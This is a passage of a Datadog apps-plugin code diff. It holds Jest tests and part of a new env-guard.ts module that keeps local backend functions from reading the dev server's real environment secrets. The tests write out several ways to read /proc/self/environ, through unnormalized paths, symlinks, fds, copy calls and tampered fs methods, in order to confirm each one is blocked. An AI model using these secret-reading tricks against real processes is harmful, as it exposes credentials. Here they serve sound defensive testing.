}); + + test('Should block an unnormalized path like /proc/self/../self/environ, which resolves to the same file', async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => fs.readFileSync('/proc/self/../self/environ')).toThrow( + /not allowed in backend functions/, + ); + }); + }); + + test('Should block /proc/thread-self/environ, not just /proc/self and /proc/', async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => fs.readFileSync('/proc/thread-self/environ')).toThrow( + /not allowed in backend functions/, + ); + }); + }); + + // ENVIRON_PATH_RE matches any numeric pid, not just self/thread-self — a readable parent + // /proc entry (commonly the shell or package manager that launched the dev server, which + // inherits the same secrets) is just as exploitable as the dev server's own pid. + test("Should block /proc//environ, not just the dev server's own pid", async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => fs.readFileSync(`/proc/${process.ppid}/environ`)).toThrow( + /not allowed in backend functions/, + ); + }); + }); + + // A symlink pointing at /proc/self/environ has its own, unrelated literal path, so + // isEnvironPath() must resolve via realpathSync before matching the regex, since + // fs.readFileSync and friends follow symlinks transparently. Linux-only: /proc doesn't + // exist on macOS to reproduce this against. + test('Should block reading /proc/self/environ through a symlink, not just the literal path', async () => { + if (process.platform !== 'linux') { + return; + } + + const linkPath = path.join(os.tmpdir(), `env-guard-symlink-${process.pid}`); + fs.symlinkSync('/proc/self/environ', linkPath); + + try { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => fs.readFileSync(linkPath)).toThrow( + /not allowed in backend functions/, + ); + }); + } finally { + fs.unlinkSync(linkPath); + } + }); + + // A numeric fd already open against /proc/self/environ is just as valid a first argument to + // fs.readFileSync as a path string — opened here, outside any scope, matching a legitimate + // fd a customer function could plausibly be handed some other way. Linux-only: resolving a + // fd back to a path at all relies on /proc/self/fd/, which only exists on Linux. + test('Should block reading a numeric fd already open against /proc/self/environ', async () => { + if (process.platform !== 'linux') { + return; + } + + const fd = fs.openSync('/proc/self/environ', 'r'); + try { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => fs.readFileSync(fd)).toThrow(/not allowed in backend functions/); + }); + } finally { + fs.closeSync(fd); + } + }); + + // The test above only exercises real behavior on Linux (it early-returns everywhere else, + // since /proc/self/fd doesn't exist off Linux); this one mocks process.platform and + // fs.readlinkSync so the numeric-fd resolution path itself is verified on every OS this + // suite runs on, not just in Linux CI. + test('Should resolve a numeric fd to its environ target via a mocked /proc/self/fd readlink, on any OS', async () => { + const platformDescriptor = Object.getOwnPropertyDescriptor(process, 'platform'); + Object.defineProperty(process, 'platform', { value: 'linux', configurable: true }); + const readlinkSyncSpy = jest + .spyOn(fs, 'readlinkSync') + .mockImplementation((linkPath) => { + expect(linkPath).toBe('/proc/self/fd/99'); + return '/proc/self/environ'; + }); + reEvaluateEnvGuardWithCurrentMocks(); + + try { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => fs.readFileSync(99)).toThrow(/not allowed in backend functions/); + }); + } finally { + readlinkSyncSpy.mockRestore(); + if (platformDescriptor) { + Object.defineProperty(process, 'platform', platformDescriptor); + } + } + }); + + // Regression coverage for a same-call bypass: replacing fs.realpathSync/readlinkSync from + // inside a scope must not defeat a read that same call makes — the guard has to keep using + // the reference captured at module load, not the live, tampered fs methods. + test('Should keep blocking a forged path even when a backend function replaces fs.realpathSync/readlinkSync from inside its own scope', async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + const realpathSyncSpy = jest + .spyOn(fs, 'realpathSync') + .mockReturnValue( + '/some/benign/path' as unknown as ReturnType, + ); + const readlinkSyncSpy = jest + .spyOn(fs, 'readlinkSync') + .mockReturnValue( + '/some/benign/path' as unknown as ReturnType, + ); + try { + expect(() => fs.readFileSync('/proc/self/environ')).toThrow( + /not allowed in backend functions/, + ); + } finally { + realpathSyncSpy.mockRestore(); + readlinkSyncSpy.mockRestore(); + } + }); + }); + + test('Should not block reading /proc/self/environ once the scoped-env window has closed', async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => undefined); + + // Off Linux, /proc doesn't exist; the assertion is only that our guard doesn't fire once idle, not that the read succeeds. + expect(() => fs.readFileSync('/proc/self/environ')).not.toThrow( + /not allowed in backend functions/, + ); + }); + + // realpathSync can fail for reasons other than "path doesn't exist yet" (EACCES, ELOOP, ...). + // Treating every failure the same as ENOENT and falling back to the unresolved literal path + // would never match ENVIRON_PATH_RE for a symlink, silently letting a real /proc/.../environ + // read through. Must deny the read either way, but by re-throwing the real error rather than + // a misleading "environ" message — the real fs call would hit the identical error anyway, so + // this only fixes what the customer sees, not whether the read is denied. + test('Should re-throw the real error (not a misleading "environ" message) when realpathSync fails for a reason other than ENOENT', async () => { + const realpathSyncSpy = jest.spyOn(fs, 'realpathSync').mockImplementationOnce(() => { + const error: NodeJS.ErrnoException = new Error('permission denied'); + error.code = 'EACCES'; + throw error; + }); + reEvaluateEnvGuardWithCurrentMocks(); + + try { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => fs.readFileSync('/some/unrelated/path')).toThrow( + 'permission denied', + ); + }); + } finally { + realpathSyncSpy.mockRestore(); + } + }); + + // fs.promises.* must reject, never throw synchronously, on any failure including this one — + // a caller doing `fs.promises.readFile(x).catch(handler)` with no enclosing try/catch would + // otherwise crash the process instead of reaching its own error handling. + test('Should reject (not throw synchronously) when realpathSync fails for a reason other than ENOENT during an fs.promises.* call', async () => { + const realpathSyncSpy = jest.spyOn(fs, 'realpathSync').mockImplementationOnce(() => { + const error: NodeJS.ErrnoException = new Error('permission denied'); + error.code = 'EACCES'; + throw error; + }); + reEvaluateEnvGuardWithCurrentMocks(); + + try { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + await expect(fs.promises.readFile('/some/unrelated/path')).rejects.toThrow( + 'permission denied', + ); + }); + } finally { + realpathSyncSpy.mockRestore(); + } + }); + + test('Should not block reading an unrelated real file during an active scoped-env window', async () => { + const tmpFile = path.join(os.tmpdir(), `env-guard-test-${process.pid}.txt`); + fs.writeFileSync(tmpFile, 'not a secret'); + + try { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(fs.readFileSync(tmpFile, 'utf8')).toBe('not a secret'); + await expect(fs.promises.readFile(tmpFile, 'utf8')).resolves.toBe( + 'not a secret', + ); + const [data, error] = await new Promise<[string | undefined, unknown]>( + (resolve) => { + fs.readFile(tmpFile, 'utf8', (err, contents) => + resolve([contents, err]), + ); + }, + ); + expect(error).toBeNull(); + expect(data).toBe('not a secret'); + }); + } finally { + fs.rmSync(tmpFile); + } + }); + + // copyFileSync/copyFile/promises.copyFile/cpSync/promises.cp copy the source file's bytes + // via a native binding that bypasses readFile*/open* entirely, so they need their own, + // separately-verified coverage rather than relying on the read-family guard above. + test('Should block fs.copyFileSync("/proc/self/environ") during an active scoped-env window', async () => { + const dest = path.join(os.tmpdir(), `env-guard-copy-${process.pid}.txt`); + try { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => fs.copyFileSync('/proc/self/environ', dest)).toThrow( + /not allowed in backend functions/, + ); + }); + } finally { + fs.rmSync(dest, { force: true }); + } + }); + + // Regression coverage: same callback-contract requirement as fs.readFile above. + test('Should block the callback-style fs.copyFile("/proc/self/environ") via its callback, not a synchronous throw, during an active scoped-env window', async () => { + const dest = path.join(os.tmpdir(), `env-guard-copy-cb-${process.pid}.txt`); + try { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + let errorPromise: Promise | undefined; + expect(() => { + errorPromise = callbackError((callback) => + fs.copyFile('/proc/self/environ', dest, callback), + ); + }).not.toThrow(); + const error = await errorPromise; + expect(error).toBeInstanceOf(Error); + expect((error as Error).message).toMatch(/not allowed in backend functions/); + }); + } finally { + fs.rmSync(dest, { force: true }); + } + }); + + test('Should block fs.promises.copyFile("/proc/self/environ") during an active scoped-env window', async () => { + const dest = path.join(os.tmpdir(), `env-guard-copy-async-${process.pid}.txt`); + try { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + await expect(fs.promises.copyFile('/proc/self/environ', dest)).rejects.toThrow( + /not allowed in backend functions/, + ); + }); + } finally { + fs.rmSync(dest, { force: true }); + } + }); + + test('Should block fs.cpSync/fs.promises.cp("/proc/self/environ") during an active scoped-env window', async () => { + const destSync = path.join(os.tmpdir(), `env-guard-cp-sync-${process.pid}.txt`); + const destAsync = path.join(os.tmpdir(), `env-guard-cp-async-${process.pid}.txt`); + try { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => fs.cpSync('/proc/self/environ', destSync)).toThrow( + /not allowed in backend functions/, + ); + await expect(fs.promises.cp('/proc/self/environ', destAsync)).rejects.toThrow( + /not allowed in backend functions/, + ); + }); + } finally { + fs.rmSync(destSync, { force: true }); + fs.rmSync(destAsync, { force: true }); + } + }); + + // Regression coverage: same callback-contract requirement as fs.readFile above. + test('Should block the callback-style fs.cp("/proc/self/environ") via its callback, not a synchronous throw, during an active scoped-env window', async () => { + const dest = path.join(os.tmpdir(), `env-guard-cp-cb-${process.pid}.txt`); + try { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + let errorPromise: Promise | undefined; + expect(() => { + errorPromise = callbackError((callback) => + fs.cp('/proc/self/environ', dest, callback), + ); + }).not.toThrow(); + const error = await errorPromise; + expect(error).toBeInstanceOf(Error); + expect((error as Error).message).toMatch(/not allowed in backend functions/); + }); + } finally { + fs.rmSync(dest, { force: true }); + } + }); + + // new fs.ReadStream(path) constructs directly, bypassing the createReadStream factory the + // guard above wraps, so it needs separate coverage. @types/node declares no (path, options) + // constructor for ReadStream, so Reflect.construct invokes the real, untyped signature + // directly. The unrelated-file case attaches a no-op error listener: the underlying async + // open can still be in flight when the test's finally block deletes the file, which would + // otherwise surface as an unhandled 'error' event. + function constructReadStream(rawPath: string): fs.ReadStream { + const stream: fs.ReadStream = Reflect.construct(fs.ReadStream, [rawPath]); + stream.on('error', () => {}); + return stream; + } + + test('Should block constructing new fs.ReadStream("/proc/self/environ") during an active scoped-env window', async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => constructReadStream('/proc/self/environ')).toThrow( + /not allowed in backend functions/, + ); + }); + }); + + test('Should not block constructing new fs.ReadStream(...) for an unrelated real file during an active scoped-env window', async () => { + const tmpFile = path.join(os.tmpdir(), `env-guard-readstream-${process.pid}.txt`); + fs.writeFileSync(tmpFile, 'not a secret'); + let stream: fs.ReadStream | undefined; + + try { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => { + stream = constructReadStream(tmpFile); + }).not.toThrow(); + }); + } finally { + stream?.destroy(); + fs.rmSync(tmpFile); + } + }); + }); + + describe('process.report.excludeEnv', () => { + // @types/node doesn't declare excludeEnv yet even though Node itself has supported it + // since v22.13.0 — env-guard.ts augments NodeJS.ProcessReport globally, so no cast is + // needed here; this shares that one canonical type instead of its own separate cast. + const processReport = process.report; + + // process.report.getReport()/writeReport() read the OS-level environment table directly, + // bypassing the process.env swap entirely. + test('Should exclude environmentVariables from process.report.getReport() during an active scoped-env window', async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + const report = process.report.getReport(); + const environmentVariables = + 'environmentVariables' in report ? report.environmentVariables : undefined; + expect(environmentVariables).toBeUndefined(); + }); + }); + + // Regression coverage: redaction must follow the calling continuation's own scope, not a + // shared, resettable counter — a still-active scope's getReport() call must keep redacting + // even after an unrelated scope's abandonment (forceResetEnv) has zeroed that counter. + test("Should keep redacting a still-active scope's own getReport() call after an unrelated scope's abandonment clears the shared counter", async () => { + let resolveOuter: (() => void) | undefined; + let reportDuringOuter: ReturnType | undefined; + const outer = runWithScopedEnv({ PATH: '/outer' }, async () => { + await new Promise((resolve) => { + resolveOuter = resolve; + }); + reportDuringOuter = process.report.getReport(); + }); + + // Simulates an unrelated execution's abandonment path forcing the shared counter to + // zero while `outer`'s own scope is still active. + forceResetEnv(); + + resolveOuter?.(); + await outer; + + const environmentVariables = + reportDuringOuter && 'environmentVariables' in reportDuringOuter + ? reportDuringOuter.environmentVariables + : undefined; + expect(environmentVariables).toBeUndefined(); + }); + + // On Node >=22.13.0, excludeEnv must delegate to Node's own native setter, not a + // disconnected JS shadow that would have zero effect on a native, non-JS-triggered report + // (--report-on-signal etc). Node's native setter throws for a non-boolean; a disconnected + // shadow would silently accept anything, making this observable without spawning a + // subprocess to send a real signal. + function nodeSupportsNativeExcludeEnv(): boolean { + const [major, minor] = process.version.slice(1).split('.').map(Number); + return major > 22 || (major === 22 && minor >= 13); + } + + function setExcludeEnvToInvalidValue(report: NodeJS.ProcessReport, value: unknown): void { + report.excludeEnv = value as boolean; + } + + test("Should delegate to Node's native excludeEnv setter, not a disconnected JS shadow, on Node versions that have one", () => { + if (!nodeSupportsNativeExcludeEnv()) { + return; + } + const before = processReport.excludeEnv; + try { + expect(() => setExcludeEnvToInvalidValue(processReport, 'not-a-boolean')).toThrow(); + } finally { + processReport.excludeEnv = before; + } + }); + + test('Should reject a customer function reassigning process.report.excludeEnv from inside its own scope', async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + expect(() => { + process.report.excludeEnv = false; + }).toThrow(/not allowed in backend functions/); + }); + }); + + test('Should restore the real excludeEnv value after the scoped-env window closes', async () => { + const before = processReport.excludeEnv; + + await runWithScopedEnv({ PATH: '/scoped' }, async () => undefined); + + expect(processReport.excludeEnv).toBe(before); + }); + + // excludeEnv is process-wide — an outside caller's write made while a DIFFERENT scope is + // still active must defer rather than apply immediately, or it would disarm redaction for + // that still-running scope and then get clobbered back by its cleanup. + test('Should defer an outside write made while a scope is active, applying it once that scope closes instead of the pre-scope original', async () => { + let resolveScope: (() => void) | undefined; + const scope = runWithScopedEnv({ PATH: '/scoped' }, async () => { + await new Promise((resolve) => { + resolveScope = resolve; + }); + }); + + // Made from outside the scope's own continuation — an unrelated caller, not the customer function. + processReport.excludeEnv = false; + // Not applied yet: the scope is still active, so the real flag stays armed for it. + expect(processReport.excludeEnv).toBe(true); + + resolveScope?.(); + await scope; + + // Applied once the scope closed, not clobbered back to whatever excludeEnv held before it opened. + expect(processReport.excludeEnv).toBe(false); + }); + + test("Should not clobber a developer's own excludeEnv=true setting made before the scoped-env window opened", async () => { + const before = processReport.excludeEnv; + processReport.excludeEnv = true; + try { + await runWithScopedEnv({ PATH: '/scoped' }, async () => undefined); + expect(processReport.excludeEnv).toBe(true); + } finally { + processReport.excludeEnv = before; + } + }); + + // Exercises the writeReport() JS-level redaction wrap, which is the only thing that strips + // environmentVariables on Node <22.13 (CI pins 20.19.4) — process.report.excludeEnv is a + // no-op there, so this wrap's own redaction is real coverage of current behavior on CI, not + // just on this repo's newer local dev Node version where excludeEnv is natively wired up. + test('Should exclude environmentVariables from process.report.writeReport() during an active scoped-env window', async () => { + const tmpFile = path.join(os.tmpdir(), `env-guard-report-${process.pid}.json`); + try { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + process.report.writeReport(tmpFile); + }); + + const rawReport = fs.readFileSync(tmpFile, 'utf8'); + const written: { environmentVariables?: unknown } = JSON.parse(rawReport); + expect(written.environmentVariables).toBeUndefined(); + } finally { + fs.rmSync(tmpFile, { force: true }); + } + }); + + // Regression coverage: an explicit filename is written directly via getReport(), never read + // back off disk — the read-back-and-rewrite approach the no-fileName branch still uses has a + // real window where the unredacted file exists on disk. Absence of fs.readFileSync is what + // distinguishes the two; the final-content-only test above would pass under either. + test('Should never read the report file back off disk for an explicit filename, proving the redacted content is written directly rather than read-back-and-rewritten', async () => { + const tmpFile = path.join(os.tmpdir(), `env-guard-report-direct-${process.pid}.json`); + const readFileSyncSpy = jest.spyOn(fs, 'readFileSync'); + try { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + process.report.writeReport(tmpFile); + }); + + expect(readFileSyncSpy).not.toHaveBeenCalledWith(tmpFile, expect.anything()); + const written: { environmentVariables?: unknown } = JSON.parse( + fs.readFileSync(tmpFile, 'utf8'), + ); + expect(written.environmentVariables).toBeUndefined(); + } finally { + readFileSyncSpy.mockRestore(); + fs.rmSync(tmpFile, { force: true }); + } + }); + + // Regression coverage: onScopeStarted's handle must discharge only its own token, unlike + // forceResetEnv() — abandoning a hung scope must never disarm a different, concurrently + // active scope's own excludeEnv protection. + test("Should let onScopeStarted's handle abandon only its own scope, leaving a concurrently active scope's excludeEnv protection armed", async () => { + const before = processReport.excludeEnv; + + let resolveHung: (() => void) | undefined; + let hungHandle: { abandon: () => void } | undefined; + const hung = runWithScopedEnv( + { PATH: '/hung' }, + async () => { + await new Promise((resolve) => { + resolveHung = resolve; + }); + }, + (handle) => { + hungHandle = handle; + }, + ); + expect(hungHandle).toBeDefined(); + + let resolveActive: (() => void) | undefined; + let excludeEnvAfterAbandon: boolean | undefined; + const active = runWithScopedEnv({ PATH: '/active' }, async () => { + await new Promise((resolve) => { + resolveActive = resolve; + }); + excludeEnvAfterAbandon = processReport.excludeEnv; + }); + + hungHandle?.abandon(); + // Still armed: `active`'s own scope is unaffected by abandoning the unrelated hung one. + expect(processReport.excludeEnv).toBe(true); + + resolveActive?.(); + await active; + expect(excludeEnvAfterAbandon).toBe(true); + // Restored once `active` closes, proving hung's token was actually discharged by + // abandon() above — if it lingered in the set, this would still read `true`. + expect(processReport.excludeEnv).toBe(before); + + resolveHung?.(); + await hung; + }); + + // Regression coverage: if a zombie scope's runWithScopedEnv finally fires AFTER + // forceResetEnv() already cleared it (the ordering a test harness's afterEach produces + // against a scope deliberately left open), its disarmScope(token) call must find its own + // token already gone and no-op, rather than corrupting state a later scope relies on. + test("Should still arm excludeEnv protection for a later scope after forceResetEnv() races a zombie scope's own decrement", async () => { + let resolveZombie: (() => void) | undefined; + const zombie = runWithScopedEnv({ PATH: '/zombie' }, async () => { + await new Promise((resolve) => { + resolveZombie = resolve; + }); + }); + + forceResetEnv(); + + resolveZombie?.(); + await zombie; + + await runWithScopedEnv({ PATH: '/fresh' }, async () => { + expect(processReport.excludeEnv).toBe(true); + }); + }); + + // Regression coverage: a zombie's finally firing after forceResetEnv() has run — but while a + // later, unrelated scope is still active — must find its own token already cleared and + // no-op, not decrement/restore against that later scope's still-active state. + test("Should not let a zombie scope's post-forceResetEnv finally disarm excludeEnv for a still-active later scope", async () => { + const before = processReport.excludeEnv; + + let resolveZombie: (() => void) | undefined; + const zombie = runWithScopedEnv({ PATH: '/zombie' }, async () => { + await new Promise((resolve) => { + resolveZombie = resolve; + }); + }); + + forceResetEnv(); + + let resolveLater: (() => void) | undefined; + let excludeEnvMidFlight: boolean | undefined; + const later = runWithScopedEnv({ PATH: '/later' }, async () => { + excludeEnvMidFlight = processReport.excludeEnv; + await new Promise((resolve) => { + resolveLater = resolve; + }); + // Resumed after the zombie's own finally has already fired below — must still see + // itself as protected, not disarmed by the zombie's unrelated, stale cleanup. + return processReport.excludeEnv; + }); + expect(excludeEnvMidFlight).toBe(true); + + resolveZombie?.(); + await zombie; + expect(processReport.excludeEnv).toBe(true); + + resolveLater?.(); + await expect(later).resolves.toBe(true); + expect(processReport.excludeEnv).toBe(before); + }); + }); + + // Regression coverage for a review finding: the shared state above is stashed on the public + // `fs` module so re-evaluations of this file converge on one instance, but that also makes it + // reachable via `require('fs')` by anything else in the same process, including a backend + // function's own third-party dependencies. A raw `realEnv` field there would hand out the real + // environment directly; a raw AsyncLocalStorage instance would let a caller disarm scope + // detection process-wide via its own `.disable()`. Every value on the registry must instead be + // a function whose own logic re-applies the real scope check before doing anything sensitive. + describe('fs-keyed shared registry exposure', () => { + const processReport = process.report; + + function getSharedRegistryEntry(): Record { + return (fs as unknown as Record>)[ + Symbol.for('@dd/apps-plugin/env-guard shared-state') + ]; + } + + test('Should expose only functions on the fs-keyed shared registry, never a raw realEnv/AsyncLocalStorage/counter field', () => { + const shared = getSharedRegistryEntry(); + expect(Object.keys(shared).length).toBeGreaterThan(0); + for (const value of Object.values(shared)) { + expect(typeof value).toBe('function'); + } + }); + + test('Should return the scoped view, not the real environment, from the registry\'s own accessor when called from inside an active scope — reproducing require("fs")[symbol].realEnv.DD_API_KEY from review', async () => { + process.env.DD_API_KEY = 'dev-server-real-secret'; + try { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + const shared = getSharedRegistryEntry(); + const currentEnv = (shared.getCurrentEnv as () => Record)(); + expect(currentEnv.DD_API_KEY).toBeUndefined(); + expect(currentEnv.PATH).toBe('/scoped'); + }); + } finally { + delete process.env.DD_API_KEY; + } + }); + + test("Should not let a forged token disarm an active scope's excludeEnv protection via the registry's own disarmScope", async () => { + await runWithScopedEnv({ PATH: '/scoped' }, async () => { + const shared = getSharedRegistryEntry(); + (shared.disarmScope as (token: symbol) => void)(Symbol('forged token')); + expect(processReport.excludeEnv).toBe(true); + }); + }); + }); +}); diff --git a/packages/plugins/apps/src/vite/env-guard.ts b/packages/plugins/apps/src/vite/env-guard.ts new file mode 100644 index 000000000..8cf65aebf --- /dev/null +++ b/packages/plugins/apps/src/vite/env-guard.ts @@ -0,0 +1,644 @@ +// Unless explicitly stated otherwise all files in this repository are licensed under the MIT License. +// This product includes software developed at Datadog (https://www.datadoghq.com/). +// Copyright 2019-Present Datadog, Inc. + +/* global NodeJS, Proxy */ + +import fs from 'fs'; +import { AsyncLocalStorage } from 'node:async_hooks'; +import { syncBuiltinESMExports } from 'node:module'; +import nodePath from 'path'; +import { fileURLToPath } from 'url'; + +import { makeGuardCallbackWrapper, makeGuardWrapper } from './guarded-wrapper'; +import { getOrCreateShared } from './shared-module-singleton'; + +// Captured at module load — before any customer code runs — so a backend function can't replace +// fs.realpathSync/readlinkSync with a benign-path stub and read /proc/self/environ through this +// file's own already-wrapped fs.readFileSync, whose forged-path check would otherwise consult the +// tampered, live fs methods instead of these frozen references. +const nativeRealpathSync = fs.realpathSync; +const nativeReadlinkSync = fs.readlinkSync; + +// Scopes process.env to a from-scratch allowlist during local execution — production isolates +// each execution in its own Deno subprocess with --allow-env, but local execution has no process +// boundary, so this also blocks the /proc/.../environ backing-store bypass on Linux that swapping +// process.env alone wouldn't stop. +// +// JS-level defense-in-depth only, not a hard security boundary (matches network-guard.ts): a +// callback that escapes its own AsyncLocalStorage continuation entirely — a FinalizationRegistry +// finalizer, for example — can reassign process.env indistinguishably from a legitimate +// post-scope reload, letting attacker-controlled data become the real-environment fallback for +// every later execution. + +export const SAFE_ENV_KEYS = ['PATH', 'HOME', 'NODE_ENV', 'TMPDIR'] as const; + +// customCredentials is currently always {} — Custom Credential resolution for local execution is still undecided, so those values stay unset here rather than read from the real environment. +export function buildScopedEnv(customCredentials: Record): Record { + const scoped: Record = {}; + for (const key of SAFE_ENV_KEYS) { + const value = process.env[key]; + if (value !== undefined) { + scoped[key] = value; + } + } + const merged = { ...scoped, ...customCredentials }; + if (process.platform !== 'win32') { + return merged; + } + // On win32, Node's real process.env is case-insensitive (e.g. .Path and .PATH read the same + // value), but `merged` is a plain object. Without this, customer code reading a SAFE_ENV_KEYS + // entry under any casing other than its canonical uppercase form gets undefined during local + // execution even though the same read against the real environment would succeed. + return new Proxy(merged, { + get(target, prop, receiver) { + if (typeof prop === 'string' && !(prop in target)) { + const canonicalKey = SAFE_ENV_KEYS.find( + (key) => key.toLowerCase() === prop.toLowerCase(), + ); + if (canonicalKey) { + return Reflect.get(target, canonicalKey, receiver); + } + } + return Reflect.get(target, prop, receiver); + }, + has(target, prop) { + if (typeof prop === 'string' && !(prop in target)) { + return SAFE_ENV_KEYS.some((key) => key.toLowerCase() === prop.toLowerCase()); + } + return Reflect.has(target, prop); + }, + // Without this, a write through a non-canonical casing (e.g. .Path when only .PATH exists) + // falls through to the default set behavior and creates a second, separate own property + // instead of updating the canonical one — leaving PATH/Path/path to disagree within the + // same scope, breaking the case-insensitivity the get/has traps above establish for reads. + set(target, prop, value) { + if (typeof prop === 'string' && !(prop in target)) { + const canonicalKey = SAFE_ENV_KEYS.find( + (key) => key.toLowerCase() === prop.toLowerCase(), + ); + if (canonicalKey) { + return Reflect.set(target, canonicalKey, value); + } + } + return Reflect.set(target, prop, value); + }, + }); +} + +/** + * Shared across every re-evaluation of this file (see getSharedState()). Every member is a + * function, not a data field, since this object is reachable via any `require('fs')` — a raw + * `realEnv` field would leak the real environment, and a raw `AsyncLocalStorage` would let a + * caller kill scope detection process-wide via `.disable()`. Each function re-checks scope itself. + */ +interface EnvGuardSharedState { + getCurrentEnv(): Record | NodeJS.ProcessEnv; + isInsideScope(): boolean; + setRealEnvIfOutsideScope(newValue: NodeJS.ProcessEnv): void; + restoreRealEnvFromHistory(): void; + runInScope(scopedEnv: Record, fn: () => Promise): Promise; + // Symbol() (not Symbol.for), so the token is never attached as a discoverable property anywhere + // — Object.getOwnPropertySymbols can't reveal it, and it can't be reconstructed from a string. + // Only the exact token armScope() returned can end the scope it identifies, closing off the + // "call the shared decrement directly enough times to zero the count early" bypass a raw counter + // would allow any caller with `require('fs')` to trigger. + armScope(): symbol; + disarmScope(token: symbol): void; + forceResetAllScopes(): void; + getExcludeEnv(): boolean | undefined; +} + +// Keyed on the real `fs` module, via the same getOrCreateShared() helper network-guard.ts uses: +// this file gets evaluated more than once (bundled copies, Jest's per-test-file isolation), and +// every evaluation must share the same scope/env/count state or a later evaluation's Proxy would +// never consult the storage an earlier evaluation's scope populates. The factory runs exactly once +// across every evaluation (see getOrCreateShared), so anything done here — including installing +// process.report.excludeEnv's accessor below — is inherently a run-once side effect, with no +// separate "already installed" marker needed. +function getSharedState(): EnvGuardSharedState { + return getOrCreateShared(fs, '@dd/apps-plugin/env-guard shared-state', () => { + const scopedEnvContext = new AsyncLocalStorage>(); + // Bound here, at first-ever creation — before any customer code has had a chance to run — + // so a later `AsyncLocalStorage.prototype.getStore = () => undefined` from inside a backend + // function can't make every scoped lookup fall through to the real environment. + const nativeGetStore = AsyncLocalStorage.prototype.getStore.bind(scopedEnvContext); + let realEnv: NodeJS.ProcessEnv = process.env; + // Pushed before each non-proxy reassignment, popped when the proxy itself is assigned back + // — implements `const saved = process.env; ...; process.env = saved;` correctly for + // arbitrarily nested save/restore, not just a no-op that leaves realEnv stuck mid-swap. + const realEnvHistory: NodeJS.ProcessEnv[] = []; + const activeScopeTokens = new Set(); + let savedExcludeEnv: boolean | undefined; + + function currentEnv(): Record | NodeJS.ProcessEnv { + return nativeGetStore() ?? realEnv; + } + + // process.report.excludeEnv already has a native getter/setter on Node >=22.13.0 — this + // wraps it so an armed scope can't be disarmed with `process.report.excludeEnv = false` + // from inside itself. On older Node (CI pins 20.19.4) there's no real accessor to wrap, but + // a plain shadow variable still keeps read/write consistent even though it has no effect on + // report generation on that version either way. + const nativeExcludeEnvDescriptor = Object.getOwnPropertyDescriptor( + process.report, + 'excludeEnv', + ); + let getExcludeEnv: () => boolean | undefined; + let applyExcludeEnvValue: (newValue: boolean | undefined) => void; + if (nativeExcludeEnvDescriptor?.get && nativeExcludeEnvDescriptor.set) { + getExcludeEnv = nativeExcludeEnvDescriptor.get.bind(process.report); + applyExcludeEnvValue = nativeExcludeEnvDescriptor.set.bind(process.report); + } else { + let excludeEnvValue: boolean | undefined = process.report.excludeEnv; + getExcludeEnv = () => excludeEnvValue; + applyExcludeEnvValue = (newValue) => { + excludeEnvValue = newValue; + }; + } + + function restoreExcludeEnvIfLastScope(): void { + if (activeScopeTokens.size === 0) { + applyExcludeEnvValue(savedExcludeEnv); + savedExcludeEnv = undefined; + } + } + + Object.defineProperty(process.report, 'excludeEnv', { + configurable: false, + enumerable: true, + get: getExcludeEnv, + set: (newValue: boolean | undefined) => { + if (nativeGetStore() !== undefined) { + throw new Error( + "Reassigning process.report.excludeEnv is not allowed in backend functions — it would let a backend function's own diagnostic report include the dev server's real environment. This is armed automatically for the duration of the function's execution.", + ); + } + if (activeScopeTokens.size > 0) { + // An unrelated caller writing from outside any scope while a DIFFERENT scope is + // still active elsewhere — applying it immediately would disarm redaction out + // from under that scope, so it's deferred until the active scope's own cleanup. + savedExcludeEnv = newValue; + return; + } + applyExcludeEnvValue(newValue); + }, + }); + + return { + getCurrentEnv: currentEnv, + isInsideScope: () => nativeGetStore() !== undefined, + setRealEnvIfOutsideScope: (newValue) => { + if (nativeGetStore() !== undefined) { + throw new Error( + "Reassigning process.env is not allowed in backend functions — it would corrupt the dev server's real environment for every future execution. Use $.Source or a declared Custom Credential instead.", + ); + } + realEnvHistory.push(realEnv); + realEnv = newValue; + }, + restoreRealEnvFromHistory: () => { + if (realEnvHistory.length > 0) { + realEnv = realEnvHistory.pop() as NodeJS.ProcessEnv; + } + }, + runInScope: (scopedEnv, fn) => scopedEnvContext.run(scopedEnv, fn), + armScope: () => { + const token = Symbol('env-guard scope token'); + if (activeScopeTokens.size === 0) { + savedExcludeEnv = getExcludeEnv(); + applyExcludeEnvValue(true); + } + activeScopeTokens.add(token); + return token; + }, + disarmScope: (token) => { + // Set.delete() returns false when the token is already gone — e.g. forceResetEnv() + // cleared every token first — meaning this scope's decrement/restore obligation was + // already forcibly discharged, and the shared state now belongs to a later scope. + if (activeScopeTokens.delete(token)) { + restoreExcludeEnvIfLastScope(); + } + }, + forceResetAllScopes: () => { + if (activeScopeTokens.size > 0) { + activeScopeTokens.clear(); + restoreExcludeEnvIfLastScope(); + } + }, + getExcludeEnv, + }; + }); +} + +const sharedState = getSharedState(); + +// Symbol.for(), not a plain Symbol() or object-identity check — same cross-module-instance reasoning +// as getSharedState() above: a reference-identity check would fail to recognize another evaluation's +// already-installed Proxy as "already one of these," and each would wrap the other's, looping the +// get/ownKeys/etc. traps into each other forever. +const ENV_PROXY_MARKER = Symbol.for('@dd/apps-plugin/env-guard/scoped-env-proxy'); + +// Takes `unknown`, not NodeJS.ProcessEnv: the setter below calls this on whatever a caller actually +// assigns to process.env at runtime, which TypeScript's parameter typing can't constrain — a bare 